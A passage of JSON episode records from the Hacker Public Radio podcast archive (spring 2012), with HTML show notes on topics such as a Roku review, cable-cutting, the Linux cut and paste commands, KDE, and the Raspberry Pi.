    source It's up to you by Nocreeps
    \nsource Resistance by David Rovics
    \nsource All Control (Hard Version) by Professor Kliq
    \nsource Rise by Rob Warren
    \nsource Dirty Angel by The Phase
    \nsource Border Blaster by Josh Woodward
    \nsource RetroVisoR by Ogg Vorbis
    \nsource Surprise Me by The Spirit Of Light
    \nsource Cyberpunks (Leaky Mix) by Partition36
    \nsource Blue Sunny Day by Jonathan Coulton
    \nsource Remixing is OK by SpinMeister
    \nsource Soundtrack of our Summer by The League
    \nsource Dancing Nowhere by Mo0t
    \nsource Down In The City by Houdini Roadshow
    \nsource I'm not dreaming by Josh Woodward
    \nsource Strip=Teaser by Anniela

    \n

    Intro/outro: Scott Altham - GMZ (more info)

    \n

    Don't forget that CCHits posts new shows every single day. Go to cchits.net for more info.\n

    \n","hostid":159,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"CCHits.net,music,creative commons","version":0,"downloads":2287,"valid":1}, {"id":950,"date":"2012-03-24","title":"TGTM Newscast for 2012/03/21 ","duration":1152,"summary":"A newscast from Talk Geek to Me","notes":"\n

    TGTM Newscast for 2012/03/21

    \n

    Here is a news review:

    \n\n

    Other Headlines:

    \n\n

    News from \"inthesetimes.com, \" \"techdirt.com,\" Audio of \"Moment of Clarity #124,\" and \"allgov.com\" used under arranged permission. News from \"eff.org\"  and \"torrentfreak.com\" used under permission of the Creative Commons by-attribution license. News from \"peoplesworld.org,\" and \"plri.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.

    \n

    News Sources retain their respective copyrights.

    \n

    Links

    \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2205,"valid":1}, {"id":951,"date":"2012-03-25","title":"Roku XD box","duration":505,"summary":"A review of the Roku XD digital media player device","notes":"

    \nI recently bought a roku XD box and I want to do a little review for you guys. First I would like to say that we have basic cable, and werent really looking to become \"cord cutters\". You can check out the roku site at www.roku.com.

    \n

    \n\"Roku\n

    \n

    \nFirst I bought it from Best buy for 79.99 I think it was 84 dollars with tax. First I cant believe how tiny this thing is! When you open the box, you have the device, a remote and some RCA AV Cables. The XD also only works with wireless internet. The one I bought does have a HDMI port on it. It works great and does Netflix and other services like Amazon and Hulu Plus. \n

    \n

    \nYou sign up for a roku account on the website and associate the roku box to that account. Which is close to what you do with most media type boxes nowadays like blueray players and stuff. The only difference is those devices only give you content from a couple places. The roku actually has channels, that you can add to your roku box. I have added many channels on it and I am watching lots of content from the web. With services like Popcorn flix, which shows you movies and during those movies there are some commercials. They arent really that bad its like 1 commercial when they show it. It is always the same commercial though. Which kinda gets annoying. \n

    \n

    \nI use Netflix, and Crackle on it was well. There are lots of news channels like NBC also I know that MLB and I think NHL have channels too. I was amazed at the selection of channels on the device. It would be nice if the roku site had a listing of all private channels. As it is hard to search the internet to find a list, then add the code on the roku site only to find out that the channel code doesn't work anymore. There really are so many channels that you can add it is hard to explain them all. \n

    \n

    \nMy wife and I both have android phones and we installed the roku remote control app which works great! As long as you are on the same wifi network as the roku you can control it. My wife is using the roku box for netflix and other services more than our blueray players because she likes the interface to netflix better. She says that just getting around the netflix channel is just so much easier! I even found a mythtv channel. All in all I am real happy with the Roku box and would recomend it to anyone to supplement their basic cable package. I think it really goes hand in hand with a basic cable or HD Antenna where you can get your network channels, but still get a lot of the extra content for free or a reasonable price.

    \n

    \nI will say that I would like to try Hulu Plus and see if I can slowly wean myself from Cable or HD Antenna. I really doubt it because of the way the cable companies are in the US. Right now since I get my internet from the cable company (Charter) if I get basic Digital television with it then I actually get the two of them for a cheaper price than if I just got the cable internet from them. I would like to end by saying that I know I have only mentioned a few of the channels that roku offers but there really are so many of them and they are scattered in many places that it is tough to know about them all. So if you want you can email me james.middendorff@gmail.com I am on google+ as well.

    \n

    \n\nThanks\n","hostid":94,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Roku,digital media player","version":0,"downloads":2290,"valid":1}, {"id":952,"date":"2012-03-27","title":"How I cut The Cable Cord Part 2","duration":368,"summary":"Part 2 of the cable cutting series","notes":"

    \nHello HPR,
    \nJust BrocktonBob here again with part 2 of How I Cut The Cable Cord.
    \nIn this episode I talk about adding a second set top box, and getting the\nPlayon Server software on a computer so you can get a lot more content. I also\ntalk to you about adding an external harddrive. And how I made my own HD tv\nantenna.\n

    \n","hostid":202,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"internet streaming,antenna","version":0,"downloads":2292,"valid":1}, {"id":953,"date":"2012-03-28","title":"LiTS 003: cut","duration":691,"summary":"Using the cut command","notes":"

    \nIn the third in his series Dann, shows us the benefits of the cut command:\n

    \n

    \n\nThe cut command, as the man page states, \"removes sections from each line of a file.\" The cut command can also be used on a stream and it can do more than just remove section. If a file is not specified or \"-\" is used, the cut command takes input from standard in. The cut command can be used to extract sections from a file or stream based upon a specific criteria. An example of this would be cutting specific fields from a csv (comma separated values) file. For instance, cut can be used to extract the name and email address from a csv file with the following content:\n\n

    \n

    \nhttps://www.linuxintheshell.com/2012/03/28/episode-003-cut/ for the complete shownotes, including video.\n

    \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"cut","version":0,"downloads":2627,"valid":1}, {"id":954,"date":"2012-03-28","title":"All Things Chrome","duration":1444,"summary":"The Chromebook and ChromeOS","notes":"

    Cast your minds back to Summer 2011, when Google Plus still looked like a good idea, before the HP Touchpad came and went in a fire sale and before the Euro debt crisis turned into a Keystone Cops movie.

    \n\n

    A presenter formerly of this parish, one Ed Hewitt, went out and bought himself a new toy; a Samsung Chromebook. ChromeOS marches on, but for how long? I stand back and referee as Ed and Dave Wilkins, fight it out.

    \n\n

    The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\nFind us at www.fullcirclemagazine.org/podcast.

    \n

    Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org

    \n\n

    Your Hosts:

    \n\n\n\n

    Additional audio by Victoria Pritchard

    \n\n

    Runtime: 24mins 0seconds

    \n","hostid":160,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Full Circle Podcast","version":0,"downloads":2166,"valid":1}, {"id":955,"date":"2012-03-29","title":"Zombie Circus 00 - Pilot","duration":4153,"summary":"A no-holds-barred discussion that might be a series pilot","notes":"

    Zombie Circus 00 - Pilot

    \n

    Recorded: 20120204

    \n

    Cast: Azimuth, monsterb, pegwole, Peter64, Sndchaser, Threethirty

    \n

    Music: Beware The Dangers Of A Ghost Scorpion - Zombie Dance Party

    \n

    Links:

    \n\n
    \n

    More info can be found at Zombie Circus

    \n

    Links

    \n\n","hostid":109,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"zombies","version":0,"downloads":2358,"valid":1}, {"id":956,"date":"2012-04-01","title":"HPR Community News for Feb 2012","duration":4554,"summary":"HPR Community News for Feb 2012","notes":"

    New hosts

    \n

    \nWelcome to our new hosts:
    \nDigital Maniac,
    \nDavid Whitman,
    \nNeodragon,
    \nand all the ZombieMasters.\n
    \nIf you would like to become a HPR host then please head over to https://hackerpublicradio.org/contribute.php\n

    \n

    Show Review

    \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n
    id\ntitle\nhost\n
    936Monthly Review show 2012 FebHPR Admins
    937How I started with linuxriddlebox
    938Cloning Windows WiFi Profiles and Installing Skype...FiftyOneFifty
    939Sunday Morning Linux Review: Episode 021HPR Admins
    940TGTM Tech News for 2012-03-07deepgeek
    941Whats in my bag / Portable AppsDigital Maniac
    942Zentyal Linux Small Business Serverriddlebox
    943Freedom is not Free 2 - BugsAhuka
    944LITS: Episode 002 - trDann
    945TGTM Tech News for 2012-03-14deepgeek
    946HPR Interview David Whitman with Carl Symons and J...David Whitman
    947Presentation by Jared Smith at the Columbia Area L...Neodragon
    948Exchanging Data Podcast 2dmfrey
    949The cchits 2011 overviewHPR Admins
    950TGTM Newscast for 2012/03/21 deepgeek
    951Roku XD boxriddlebox
    952How I cut The Cable Cord Part 2BrocktonBob
    953LITS: Episode 003 - cutDann
    954All Things ChromeRobin Catling
    955Zombie Circus 00 - PilotZombieMaster
    \n\n

    Other items

    \n

    HPR site was down for a few hours on 2/March but Josh had it back in a few hours

    \n

    \nDavid Whitman writes to say that he will be having a table at https://linuxfestnorthwest.org/sponsors and he is still looking for volunteers to help out or even be the 'Big Cheese'.\n

    \n

    \nSome bad news from the HeliOS project, https://www.fixedbylinux.com/about\n

    \n

    \nHPR Images, can you send your feedback to the list\n

    \n

    \nHaxradio.com is airing HPR episodes regularly\n

    \n

    \nWere we having FTP login Issues ?\n

    \n

    \nNELF Talk\n

    \n

    \nDavid Whitman made us buttons\n

    \n

    \nHPR vetting policy relating to adult, political, etc....
    \nWe don't have one\n

    \n\n

    Episode 1000 and 1024

    \n

    \nWe should come up with an idea to celebrate Ep1000 ?
    \nAnswer = YES\n

    \n

    \nFor episode 1000 we will be gathering a sample of community members emailing their congratulations but for episode 1024 :) \n

    \n

    \nFiftyOneFifty will be coordinating a EPIC \"live\" show so please email your contributions to ep1k@hackerpublicradio.org\n

    \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":2154,"valid":1}, {"id":957,"date":"2012-04-02","title":"Freedom is not Free 3 - Documentation","duration":1371,"summary":"Part 3 of the \"Freedom is not Free\" series","notes":"https://ohiolinux.org/node/186
    \nhttps://www.zwilnik.com","hostid":198,"series":69,"explicit":1,"license":"CC-BY-SA","tags":"FOSS,FLOSS,technical documentation,end-user documentation,translation","version":0,"downloads":2285,"valid":1}, {"id":958,"date":"2012-04-03","title":"KDE Gathering - Plasma Active - THE Tablet","duration":1396,"summary":"An interview with Carl Symons and John Blanford: all things KDE","notes":"

    \nKDE will get hosting a regional meeting of KDE for the Northwestern United States April 28 and 29, 2012 at LinuxFest Northwest \nhttps://linuxfestnorthwest.org\n

    \n

    \nAkademy 2012
    \n30th June - 6th July 2012, Tallinn, Estonia
    \nhttps://akademy.kde.org/\n

    \n

    \nKDE is 15 years old.
    \nKool Desktop Environment\n

    \n

    \nKDE desktop is called the Plasma Workspace
    \nPlasma Workspaces is the umbrella term for all graphical environments provided by KDE. (from Wikipedia)\n

    \n

    \nOwncloud \nhttps://owncloud.org/\n

    \n

    \nKrita - Painting and Image Editing\nhttps://www.kde.org/applications/graphics/krita/\n

    \n

    \nThis OS is open unlike other tablet operating systems.
    \nplasma-active.org\n

    \n

    \nhttps://makeplaylive.com/\nVivaldi Tablet\n

    \n

    \nAnyone can attend this KDE gathering which is co-located with LinuxFest Northwest\nPlasma Active is not locked down and has office applications\n

    \n

    \nCalligra \nhttps://www.calligra-suite.org/
    \nWord Processor, spreadsheet presentation software, drawing optimized for touch\n

    \n

    \nCalendaring, PIM aspect to KDE has been refocused to touch and is avaiable right now\n

    \n

    \nSome KDE programs are still being optimized for the touch environment\n

    \n

    \nQt-questions about its openness has been resolved\n

    \n

    \nMight be some Raspberry Pi's at the gathering and they will be raffled after the KDE coders get done with them at the LinuxFest Northwest world famous raffle.\n

    \n

    \nYou can make your own tablet and use the OS for your project.\n

    \n

    \nOS uses Qt and C++\n

    \n

    \nQT Quick\nhttps://qt.nokia.com/qtquick/ \n

    \n

    \nA continuation of Megoo - Mer\nhttps://merproject.org/\n

    \n

    \nCan be used on some smart phones\n

    \n

    \nbasyskom.com\n

    \n

    \nCheck out KDE and Plasma Active\n

    \n

    \nThese notes based on the interview by David Whitman with Carl Symons and John Blanford for Hacker Public Radio. \n

    \n","hostid":209,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"KDE,Akademy,Plasma Workspace,Krita,Calligra","version":0,"downloads":2101,"valid":1}, {"id":959,"date":"2012-04-05","title":"The Orca Screen Reader","duration":3221,"summary":"Joanmarie Diggs' talk from NELF about the Orca Screen Reader","notes":"

    \nJoanmarie Diggs' talk entitled \"The Orca Screen Reader, how it does what it does and how you can help\"
    \nJoanmarie Diggs is the Lead Developer for Orca and this talk was recorded at the Northeast GNU/Linux Fest 2012-03-17\n

    \n","hostid":109,"series":79,"explicit":1,"license":"CC-BY-SA","tags":"Orca screen reader,NELF","version":0,"downloads":2101,"valid":1}, {"id":960,"date":"2012-04-06","title":"TGTM Newscast for 2012/04/04 ","duration":1437,"summary":"A newscast from Talk Geek to Me","notes":"

    TGTM Newscast for 2012/4/4

    \n

    Here is a news review:

    \n\n

    Other Headlines:

    \n\n

    News from \"techdirt.com,\" Audio of \"Moment of Clarity #126,\" \"havanatimes.org,\"  and \"allgov.com\" used under arranged permission. News from \"eff.org\"  and \"torrentfreak.com\" used under permission of the Creative Commons by-attribution license. News from \"gpnys.com,\" and \"amd.com\" are press releases. News from \"wlcentral.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license. News Sources retain their respective copyrights.

    \n\n

    Links

    \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2110,"valid":1}, {"id":961,"date":"2012-04-09","title":"Experiences in a mental hospital","duration":1065,"summary":"A personal log of time spent in a mental hospital","notes":"

    \nThis is about the time Sigflup spent in a mental hospital for paranoia. This is a personal log that takes place just after sigflup regained the ability to talk. You can find a by-foot made map of the psych-ward here:
    \n\n\"Map\n

    \n

    \nhttps://devio.us/~sigflup/map.jpg\n

    \n","hostid":115,"series":71,"explicit":1,"license":"CC-BY-SA","tags":"mental health,paranoia","version":0,"downloads":2335,"valid":1}, {"id":962,"date":"2012-04-10","title":"LiTS 004: paste","duration":536,"summary":"Merge lines of files with the paste command","notes":"

    \nIn the fourth in his series Dann, shows us the benefits of the paste command:\n

    \n

    The paste command merges the lines of two or more files or a file and standard in if a second file is not specified or a \"-\" is used in place of the second file. Consider the following two files. The first file, test1.txt contains the following lines:

    \n

    a
    \none
    \nthree
    \ncat
    \ngood

    \n

    The second file, test2.txt contains the following lines:

    \n

    tuna
    \nblue finch
    \ndogs
    \nfish
    \neats

    \n

    The paste command can be used to paste these two files like so:

    \n

    paste test1.txt test2.txt

    \n

    producing the following output:

    \n

    a         tuna
    \none     blue finch
    \nthree   dogs
    \ncat      fish
    \ngood   eats

    \n

    Each line in test1.txt has been “pasted” to the corresponding line in test2.txt. \n\n

    \nhttps://www.linuxintheshell.com/2012/04/10/episode-004-paste/ for the complete shownotes, including video.\n

    \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"paste","version":0,"downloads":2621,"valid":1}, {"id":963,"date":"2012-04-10","title":"How I cut the cord part 3","duration":411,"summary":"Part 3 of the cable cutting series","notes":"Hello H.P.R.
    \nBrocktonBob here in my third episode on how I cut the cable cord. I discuss https://www.eztv.it/\nusing this website we will be able using a bittorent client like transmission to download our \nfavorite cable and network T.V. Programs. We also talk about putting these shows on an external harddrive.
    \nAnd how to convert them to any video codec and play them using the Netgear settop box.\n","hostid":202,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"internet streaming,set-top box","version":0,"downloads":2045,"valid":1}, {"id":964,"date":"2012-04-11","title":"Sunday Morning Linux Review Episode 026","duration":4148,"summary":"SMLR episode 26","notes":"

    https://smlr.us

    \n

    Downloads:

    \n

    MP3 format (for Freedom Haters!)
    \nOGG format (for Freedom Lovers!)
    \nTotal Running Time: 1:07:31

    \n

    Intro:

    \n

    Mat Enders, Tony Bemus, and Mary Tomich
    \nIntro Sound bite by Mike Tanner

    \n

    Kernel News: Mat

    \n

    Time: 5:47
    \nRelease Candidate:
    \nSorry I missed this last week but Linus did not release it until all most 8pm EDT on Saturday and I did not check Sunday morning before we recorded.
    \nOn Sat, 31 Mar 2012 at 19:58:35 Linus Torvalds Released Kernel 3.4-rc1

    \n

    On Sat, 7 Apr 2012 19:09:38 Linus Torvalds Released Kernel 3.4-rc2
    \n“So go forth, my eager minions. Go forth, and compile and test. Because nothing beats that warm fuzzy feeling of knowing that you’re on the bleeding edge, but at the same time -rc2 is not quite so bleeding edge that you need to worry too much.”

    \n

    Mainline:
    \n3.4-rc2

    \n

    Stable Updates:
    \nOn Mon, 2 Apr 2012 at 12:52:39 Greg Kroah-Hartman Released Kernel 3.0.27
    \n121 files changed, 1172 files inserted, 450 files deleted

    \n

    On Mon, 2 Apr 2012 at 13:35:54 Greg Kroah-Hartman Released Kernel 3.2.14
    \n168 files changed, 1606 files inserted, 793 files deleted

    \n

    On Mon, 2 Apr 2012 at 13:54:51 Greg Kroah-Hartman Released Kernel 3.3.1
    \n227 files changed, 2007 files inserted, 1207 files deleted

    \n

    Kernel Quote:
    \nThis was posted by Linus in response to Greg Kroah-Hartman publicly making fun of a kernel contributor for doing something massively stupid.

    \n

    “Publicly making fun of people is half the fun of open source programming.

    \n

    In fact, the real reason to eschew programming in closed environments is that you can’t embarrass people in public”

    \n

    — Linus Torvalds

    \n

    Distro Talk: Tony

    \n

    Time: 8:27

    \n

    Distrowatch.com

    \n
      \n
    • 4-4 – Puppy Linux 5.3 “Wary”, “Racy” – “Wary” and “Racy” editions of Puppy Linux, targeting older computers, are ready and available for download
    • \n
    • 4-2 – DEFT Linux 7.1 – Ubuntu-based distribution designed for forensic analysis, penetration testing and related tasks
    • \n
    • 4-2 – Fuduntu 2012.2 – the latest of the regular quarterly release updates of the project’s rolling-release distribution previously forked from Fedora
    • \n
    \n

    Distro of the Week: Tony

    \n
      \n
    1. Fedora – 1511
    2. \n
    3. Fuduntu – 1612
    4. \n
    5. Puppy – 1714
    6. \n
    7. Ubuntu – 2355
    8. \n
    9. Mint – 3763
    10. \n
    \n

    Tech News:

    \n

    Time: 27:56
    \nUdev Source To Be Merged Into Systemd tree

    \n

    \tKay Sievers, lead developer for udev, announced on the Linux hotplug mailing list plans to merge the source code for udev into the systemd tree. When this happens systemd will continue forward using the udev version number, so it will jump from 45 to 184.

    \n

    \tAfter the merge it will still be possible to build it for non-systemd systems. He went on to say that builds of this nature will be supported for a long time to come. This is necessary so as not to break systems with initrds that lack systemd. Distributions that do not want to adopt systemd can build as they always have except they will need to use the systemd tar ball.

    \n

    \tThe decision to merge the two projects was based on the fact that init needs to be completely hotplug capable. Making udev’s device management and knowledge of device life cycles integral to systemd. This makes this merge a change in build scheme not a change in direction or interface. This leaves the libudev API untouched.

    \n

    \tSo what all of this boils down to after the brouhaha settles down is that in essence nothing really has changed.

    \n
    \n

    Google Glass, Jetpacks Must Be Just Around The Corner

    \n

    \tI have been a fan of science fiction since I could read. Well everyday reality seems to be catching up with the science fiction of my childhood. If you have not seen the video yet head on over to YouTube and check it out:
    \n
    \n These are the kinds of things we geeks have been saying are coming since we were children. They are so futuristic that I am still having a hard time believing that they are actually in testing.

    \n

    \tThe Internet rumor mill has been swirling around this for awhile now. Google calls it Project Glass and it is being developed at Google[X], Googles R&D laboratory. The announcement on Wednesday, 4/4 about field testing for Google Glass was released in a post on Google+ (https://plus.google.com/111626127367496192147/posts). It is however for Google employees only. The designs shown on Wednesday are just a selection they have more including one that can be incorporated into your existing eyewear.

    \n

    \tThe biggest questions raised by this announcement have already been answered. Those questions being, won’t these get in the way of reality, and, won’t these just separate us more from from real life, well according someone who has used these, in an interview with the NY Times, the answer is no:

    \n

    “They let technology get out of your way. If I want to take a picture I don’t have to reach into my pocket and take out my phone; I just press a button at the top of the glasses and that’s it.”

    \n

    \tThe glasses do have a unique look about them, and people will know you are wearing them right away. They will hopefully get smaller and be able to be integrated into a regular looking pair of glasses.

    \n

    \tI don’t care if these are impractical or don’t work I want a pair of these right now. This is the science fiction stuff I used to dream about when I was a kid. How far away are the personal jetpacks.

    \n
    \n

    ICANN Writes A How To For Governments To Seize Domains

    \n

    \tComing to you directly from the “Not Cool” department. It was pointed out to ICANN that it was providing a disservice by not speaking out against governments seizing domains. So what does ICANN do? They publish a white paper that is basicly a how to for governments to seize domains. They have also made public statements that they will work closer with governments to help them seize and censor domains. This unfortunate turn of events just further illustrates the uselessness of ICANN to protect the Internet. It instead shows how they are actively undermining the very principals of the Internet.

    \n
    \n

    IBM And Red Hat May Join OpenStack

    \n

    \tFrom the I made this up to sound important bag. GigaOm reports that IBM and Red Hat are joining OpenStack. Neither company nor OpenStack has confirmed this report. OpenStack was started about two years ago as joint effort between NASA and Rackspace. Since its inception it has grown immensely with over 150 companies and 2,000 developers. I do not know how much cache these two will bring to the party however as the list of companies already includes the likes of HP, Dell, Intel, AMD, and Cisco.

    \n

    \tOpenStack released the fifth version of its software this week code named Essex. They are having a Design Summit April 16-18 in San Francisco. This could be where new partners will be announced.

    \n
    \n

    April 4, 2012. KDE released updates for its Workspaces, Applications, and Development Platform.

    \n

    Significant bugfixes include
    \n* making encryption of multiple folders using GPG work,
    \n* XRender fixes in the KWin window and compositing manager,
    \n* a series of bugfixes to the newly introduced Dolphin view engine
    \n* improvements in the Plasma Quick-based new window switcher,
    \n* Kontact and its device counterpart Kontact Touch have received a number of important bugfixes as well as performance improvements.

    \n
    \n

    Yahoo Open-Sources Mojito JavaScript Framework

    \n
    \n

    KDE Tooltips— when is too much, too much? Well for me when it’s associated with KDE tool-tips
    \nDespite the fact that I am a big fan of KDE, there is one thing that annoys me every time I install a KDE-based distro—the numerous tool-tips and pop-ups that appear in an attempt to be helpful.

    \n

    Recently while searching for some KDE information, I found that someone else also had expressed similar sentiments and went on to list all of the tool-tips that he had disabled. His version of KDE was 4.5—but it had not changed too much for 4.8.1. Here are the various tooltips that I have deactivated.

    \n

    System Settings tool-tips: Are you bothered by KDE displaying the list of items for each configuration category within the System Setting area: Disable it thusly:.
    \n1. Open System Settings
    \n2. Select the Configure button
    \n3. Uncheck the “Show detailed tool-tips”
    \nIcon-only Task bar tool-tips: If you’re using the icon-only task bar, you will appreciate this information instructing how to suppress task bar pop-ups.
    \n1. Right-click on the task bar.
    \n2. Select Icon-only Task Manager Settings
    \n3. In the Appearance section, Select “Do Not Show” in the tool-tips drop-down and save.
    \nPanel balloon pop-ups: Do these balloons make you want to blow up? Selecting this option will suppress the pop-ups that appear when you hover over shortcuts and icons on the desktop.
    \n1. Open System Settings
    \n2. Select Workspace Appearance and Behavior
    \n3. Select Workspace Behavior
    \n4. Select Workspace
    \n5. In the Informational Tips widget, select the “Do not show” option.
    \n.
    \nTitle bar buttons (Maximize, Minimize, Close):
    \nOpen System Settings
    \nSelect Workspace Appearance
    \nSelect Window Decorations
    \nSelect the Configure Buttons button
    \nUncheck the “Show window button tool-tips” check box
    \nThis feature appears to be broken on my desktop—no tool-tips either way, plus my extra buttons with spacing are not appearing on the title bar. Perhaps my just downloaded and installed upgrade to 4.8.2 will fix this problem. ;)
    \nDolphin: Stopping the mother of all pop-up tooltips…This action prevents Dolphin from taking the content of the information panel (which can be set to appear on the right side) and repackaging it as a tool-tip..a very large tool-tip This may come in handy for some people, but for me it was over the top.
    \n1. Select the Settings menu
    \n2. Select the Configure Dolphin… option
    \n3. Select the General tab
    \n4. Uncheck the “Show tool-tips” check box.

    \n

    LibreOffice: The tool-tips that appear when you hover over the tool-bar will disappear.
    \n1. Select Tools, Options.
    \n2. Under General, uncheck the Tips box.

    \n

    Listener Feedback

    \n

    Time: 47:29
    \nKeith Pawson
    \nSteve Barcomb
    \nBrad Alexander

    \n

    Mats Soap Box

    \n

    Time: 50:00

    \n

    Outtro Music:

    \n

    Time: 1:03:36
    \nMultiPunk by Bilou le skankerfou

    \n","hostid":109,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"SMLR,Sunday Morning Linux Review","version":0,"downloads":2247,"valid":1}, {"id":965,"date":"2012-04-13","title":"TGTM Newscast for 2012/4/4","duration":1902,"summary":"A newscast from Talk Geek to Me","notes":"

    TGTM Newscast for 2012/4/4

    \n

    \nShownotes are available at Show Notes for TGTM news 66\n

    \n

    Here is a news review:

    \n\n

    Other Headlines:

    \n\n

    News from \"techdirt.com,\" Audio of \"Moment of Clarity #129,\" \"maggiemcneill.wordpress.com,\"  \"inthesetimes.com,\" and \"allgov.com\" used\nunder arranged permission. News from \"eff.org\"  and \"torrentfreak.com\" used under permission of the Creative Commons by-attribution license. News from \"wisconsingreenparty.org\" is a press release. News Sources retain their respective copyrights.

    \n\n

    Links

    \n\n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2183,"valid":1}, {"id":966,"date":"2012-04-16","title":"The wisdom of our elders","duration":744,"summary":"A first episode from a new (to HPR) host","notes":"In his first (HPR) podcast, professional podcaster, and friend of HPR, Mr. Stephen McLaughlin, aka DoorToDoorGeek honors us with an episode on listening.
    \nHe has taken some time to listen to older people and advises us to avail of this untapped resource.
    \nhttps://doortodoorgeek.com/","hostid":212,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"personal experiences,history","version":0,"downloads":2273,"valid":1}, {"id":967,"date":"2012-04-16","title":"Raspberry Pi spec review","duration":956,"summary":"A discussion of the capabilities of the Raspberry Pi","notes":"

    \n\"Raspberry
    In today's show Klaas-Jan walks Ken throught the possibilities of the Raspberry Pi. The Raspberry Pi is a credit-card sized computer that plugs into your TV and a keyboard. It’s a capable little PC which can be used for many of the things that your desktop PC does, like spreadsheets, word-processing and games. It also plays high-definition video. We want to see it being used by kids all over the world to learn programming. All for under $35.

    \n

    Connectors

    \n

    \n\"RCA
    \nComposite video is the format of an analog television (picture only) signal before it is combined with a sound signal and modulated onto an RF carrier. In contrast to component video (YPbPr) it contains all required video information, including colors in a single line-level signal. Like component video, composite-video cables do not carry audio and are often paired with audio cables (see RCA connector).\n

    \n

    \n\"A
    \nHDMI (High-Definition Multimedia Interface) is a compact audio/video interface for transmitting encrypted uncompressed digital data. HDMI implements the EIA/CEA-861 standards, which define video formats and waveforms, transport of compressed, uncompressed, and LPCM audio, auxiliary data, and implementations of the VESA EDID. HDMI supports, on a single cable, any uncompressed TV or PC video format, including standard, enhanced, high definition and 3D video signals; up to 8 channels of compressed or uncompressed digital audio; a Consumer Electronics Control (CEC) connection; and an Ethernet data connection.\n

    \n

    \nGeneral Purpose Input/Output (a.k.a. GPIO) is a generic pin on a chip whose behavior (including whether it is an input or output pin) can be controlled (programmed) through software.
    \nGPIO pins have no special purpose defined, and go unused by default. The idea is that sometimes the system integrator building a full system that uses the chip might find useful to have a handful of additional digital control lines, and having these available from the chip can save the hassle of having to arrange additional circuitry to provide them. For example, the Realtek ALC260 chips (audio codec) have 4 GPIO pins, which go unused by default. Some system integrators (Acer laptops) employing the ALC260 use the first GPIO (GPIO0) to turn on the amplifier used for the laptop's internal speakers and external headphone jack.\n

    \n

    \nA Universal Asynchronous Receiver/Transmitter, abbreviated UART is a type of \"asynchronous receiver/transmitter\", a piece of computer hardware that translates data between parallel and serial forms. UARTs are commonly used in conjunction with communication standards such as EIA, RS-232, RS-422 or RS-485. The universal designation indicates that the data format and transmission speeds are configurable and that the actual electric signaling levels and methods (such as differential signaling etc.) typically are handled by a special driver circuit external to the UART.
    \nA UART is usually an individual (or part of an) integrated circuit used for serial communications over a computer or peripheral device serial port. UARTs are now commonly included in microcontrollers. A dual UART, or DUART, combines two UARTs into a single chip. Many modern ICs now come with a UART that can also communicate synchronously; these devices are called USARTs (universal synchronous/asynchronous receiver/transmitter).\n

    \n

    \nI²C (\"i-squared cee\"; Inter-Integrated Circuit; generically referred to as \"two-wire interface\") is a multi-master serial single-ended computer bus invented by Philips that is used to attach low-speed peripherals to a motherboard, embedded system, cellphone, or other electronic device. Since the mid 1990s, several competitors (e.g., Siemens AG (later Infineon Technologies AG), NEC, Texas Instruments, STMicroelectronics (formerly SGS-Thomson), Motorola (later Freescale), Intersil, etc.) brought I²C products on the market, which are fully compatible with the NXP (formerly Philips's semiconductor division) I²C-system. As of October 10, 2006, no licensing fees are required to implement the I²C protocol. However, fees are still required to obtain I²C slave addresses allocated by NXP.
    \nSMBus, defined by Intel in 1995, is a subset of I²C that defines the protocols more strictly. One purpose of SMBus is to promote robustness and interoperability. Accordingly, modern I²C systems incorporate policies and rules from SMBus, sometimes supporting both I²C and SMBus with minimal re-configuration required.\n

    \n

    \n\"Serial
    The Serial Peripheral Interface Bus
    or SPI (pronounced like \"S.P.I.\" or \"spy\") bus is a synchronous serial data link standard named by Motorola that operates in full duplex mode. Devices communicate in master/slave mode where the master device initiates the data frame. Multiple slave devices are allowed with individual slave select (chip select) lines. Sometimes SPI is called a \"four-wire\" serial bus, contrasting with three-, two-, and one-wire serial buses.\n

    \n

    Links

    \n
      \n
    1. https://www.raspberrypi.org/
    2. \n
    3. https://en.wikipedia.org/wiki/Raspberry_Pi
    4. \n
    5. https://www.raspberrypi.org/faqs
    6. \n
    7. https://en.wikipedia.org/wiki/Raspberry_Pi
    8. \n
    9. https://en.wikipedia.org/wiki/Composite_video
    10. \n
    11. https://en.wikipedia.org/wiki/HDMI
    12. \n
    13. https://en.wikipedia.org/wiki/General_Purpose_Input/Output
    14. \n
    15. https://en.wikipedia.org/wiki/Universal_asynchronous_receiver/transmitter
    16. \n
    17. https://en.wikipedia.org/wiki/I%C2%B2C
    18. \n
    19. https://en.wikipedia.org/wiki/Serial_Peripheral_Interface_Bus
    20. \n
    21. https://en.wikipedia.org/wiki/USB#Mini_and_Micro_connectors
    22. \n
